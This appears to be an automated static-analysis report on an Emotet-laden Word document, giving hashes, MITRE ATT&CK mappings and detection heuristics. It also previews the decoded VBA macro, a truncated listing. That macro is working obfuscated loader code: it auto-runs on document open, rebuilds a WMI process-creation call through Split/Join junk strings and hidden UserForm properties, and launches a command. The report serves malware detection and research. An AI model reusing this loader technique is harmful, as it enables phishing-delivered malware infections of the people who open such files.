Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 c07b5e469c2e5394…

MALICIOUS

Office (OLE)

230.6 KB Created: 2020-08-12 09:28:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: 49356e8ea3a5a1fb93d931e8268d2f45 SHA-1: a88de3f943dac189c84f534a7826a02df5bbb677 SHA-256: c07b5e469c2e5394b5cbef04fcf93c830b4426bd340c19a901a528f0378213c2
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample contains VBA macros with a Document_Open auto-execution routine, indicative of Emotet. A critical heuristic identified a hidden UserForm command stager, which is a known technique for executing payloads. The ClamAV detection name further supports the Emotet family attribution.

Heuristics 7

  • ClamAV: Doc.Malware.Emotet-9293537-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emotet-9293537-1
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4196 bytes
SHA-256: ff3849ec919496126d15fbe237789d6f7e89a2fc0f7f5a3dec62216b023f5eb6
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "HUTCVasnudms"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
DTWVTluvnbep.OJRVWehjfmqxhqlamn
End Sub


Attribute VB_Name = "DTWVTluvnbep"
Attribute VB_Base = "0{D2FE373F-FA7E-4E6D-9101-E8F0B8590A63}{29D298ED-CAEB-40B7-839B-8F14FC310DBE}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function OJRVWehjfmqxhqlamn()
Dim BWSVNsu As Boolean
Dim Ni7 As Integer
For Ni7 = 9 To 1 + 5
DoEvents
Next Ni7
Dim Y0rZv5Í As String
Y0rZv5Í = Replace$("Dr7Êseqt2ÄjGQVO0áS", "Dr7Êseq", "tvaMYrmoEn")
ZGJZSdiokajsitsaibs = DTWVTluvnbep.Zoom
Dim qalqj4 As Long
QROLJxssyvbaemlmzv = ChrW(ZGJZSdiokajsitsaibs + ((30 + 60 + 30) / (4 + 4)))
Dim yhtNIK As String
yhtNIK = Replace$("nKdCkXpeHroHmmAV", "nKdCkX", "vm6åKdYMpZW")
SXQJYozjcxojzdqstc = "[jhkgab&*$%R s shs qw e21 23 12u3h[jhkgab&*$%R s shs qw e21 23 12u3hw[jhkgab&*$%R s shs qw e21 23 12u3hi[jhkgab&*$%R s shs qw e21 23 12u3hnm[jhkgab&*$%R s shs qw e21 23 12u3h[jhkgab&*$%R s shs qw e21 23 12u3hgm[jhkgab&*$%R s shs qw e21 23 12u3ht[jhkgab&*$%R s shs qw e21 23 12u3h[jhkgab&*$%R s shs qw e21 23 12u3h" + QROLJxssyvbaemlmzv + "[jhkgab&*$%R s shs qw e21 23 12u3h[jhkgab&*$%R s shs qw e21 23 12u3h:[jhkgab&*$%R s shs qw e21 23 12u3hw[jhkgab&*$%R s shs qw e21 23 12u3hin[jhkgab&*$%R s shs qw e21 23 12u3h[jhkgab&*$%R s shs qw e21 23 12u3h3[jhkgab&*$%R s shs qw e21 23 12u3h2[jhkgab&*$%R s shs qw e21 23 12u3h_[jhkgab&*$%R s shs qw e21 23 12u3h" + DTWVTluvnbep.WUQCWqifpeaniqefx + "[jhkgab&*$%R s shs qw e21 23 12u3hro[jhkgab&*$%R s shs qw e21 23 12u3h[jhkgab&*$%R s shs qw e21 23 12u3hce[jhkgab&*$%R s shs qw e21 23 12u3hs[jhkgab&*$%R s shs qw e21 23 12u3hs[jhkgab&*$%R s shs qw e21 23 12u3h"
Dim k5ÂIKQgoU As Integer
For k5ÂIKQgoU = 6 To 6 + 8
DoEvents
Next k5ÂIKQgoU
YUCYPvjfumkv = EATGNvodtdwrpyups(SXQJYozjcxojzdqstc)
Dim sEIBnP As Integer
For sEIBnP = 2 To 7 + 6
DoEvents
Next sEIBnP
Set YZXHTelolltqvnagv = CreateObject(YUCYPvjfumkv)
Dim UVabibq As String
UVabibq = Replace$("ycBj1ÖTOSybqjOVnKd", "ycBj1ÖTOSy", "SFSnvA5Õ")
AOSJTqhsuxwptzcbz = DTWVTluvnbep.IEHHGkgifucgevsmjf.ControlTipText
Dim rpeHroH As Integer
For rpeHroH = 4 To 7 + 1
DoEvents
Next rpeHroH
WBTSPcnfmazilbhb = wr3 + (YUCYPvjfumkv + QROLJxssyvbaemlmzv + DTWVTluvnbep.BOHKPwquwvfbch.ControlTipText + AOSJTqhsuxwptzcbz)
Dim wvmmrH As Date
WQBHOsehgvey = WBTSPcnfmazilbhb + DTWVTluvnbep.WUQCWqifpeaniqefx
Dim MpZWoUV As Currency
Set ACELSdkddfax = YBWZBojtovtqnyvzg(WQBHOsehgvey)
Dim CsIPfnFcJ As Integer
For CsIPfnFcJ = 5 To 4 + 1
DoEvents
Next CsIPfnFcJ
yu = Array(assq + "jhiay qyyww", YZXHTelolltqvnagv. _
Create(WLCURgkdunffxza, ZFFRDxsprgnrrnnjxwg, ACELSdkddfax), masb1 + ":ghass utq wqgd")
Dim q4ÍwkMhcg As Integer
For q4ÍwkMhcg = 4 To 5 + 6
DoEvents
Next q4ÍwkMhcg
End Function
Function YBWZBojtovtqnyvzg(IZJWTuonxjdklrr)
Set YBWZBojtovtqnyvzg = CreateObject(IZJWTuonxjdklrr)
Dim OyVTtsivo As Byte
YBWZBojtovtqnyvzg. _
showwindow = WAGTSxiwgmpwbgi + TMICOsnpvmarlzzbk
Dim Y1áM As Integer
For Y1áM = 1 To 7 + 3
DoEvents
Next Y1áM
End Function
Function EATGNvodtdwrpyups(EBLTRuwrbtoffnnfncx)
IAHVWhtldmoxrcry = EBLTRuwrbtoffnnfncx
Dim L4áNd6Ámj As Byte
HSOYBtyhchcknqzqe = Split _
(IAHVWhtldmoxrcry, "[jhkgab&*$%R s shs qw e21 23 12u3h")
Dim BXimg3Í As Integer
For BXimg3Í = 9 To 1 + 3
DoEvents
Next BXimg3Í
BYMXSvvtfogsouq = xz + Join(HSOYBtyhchcknqzqe, cvw)
Dim eqKEGj1ÅnOB As String
eqKEGj1ÅnOB = Replace$("Ssrh6ÈYuMTnpOyVT", "Ssrh6ÈY", "beJuHaVX")
EATGNvodtdwrpyups = BYMXSvvtfogsouq
Dim Iwwp As Double
End Function
Function WLCURgkdunffxza()
j = DTWVTluvnbep.QQKJKqhrdjetgvmprf.Pages(vbOK).Tag
Dim mj0Ù As Long
WLCURgkdunffxza = EATGNvodtdwrpyups(j)
Dim YB2ÏF4ÛsA As Integer
For YB
... (truncated)

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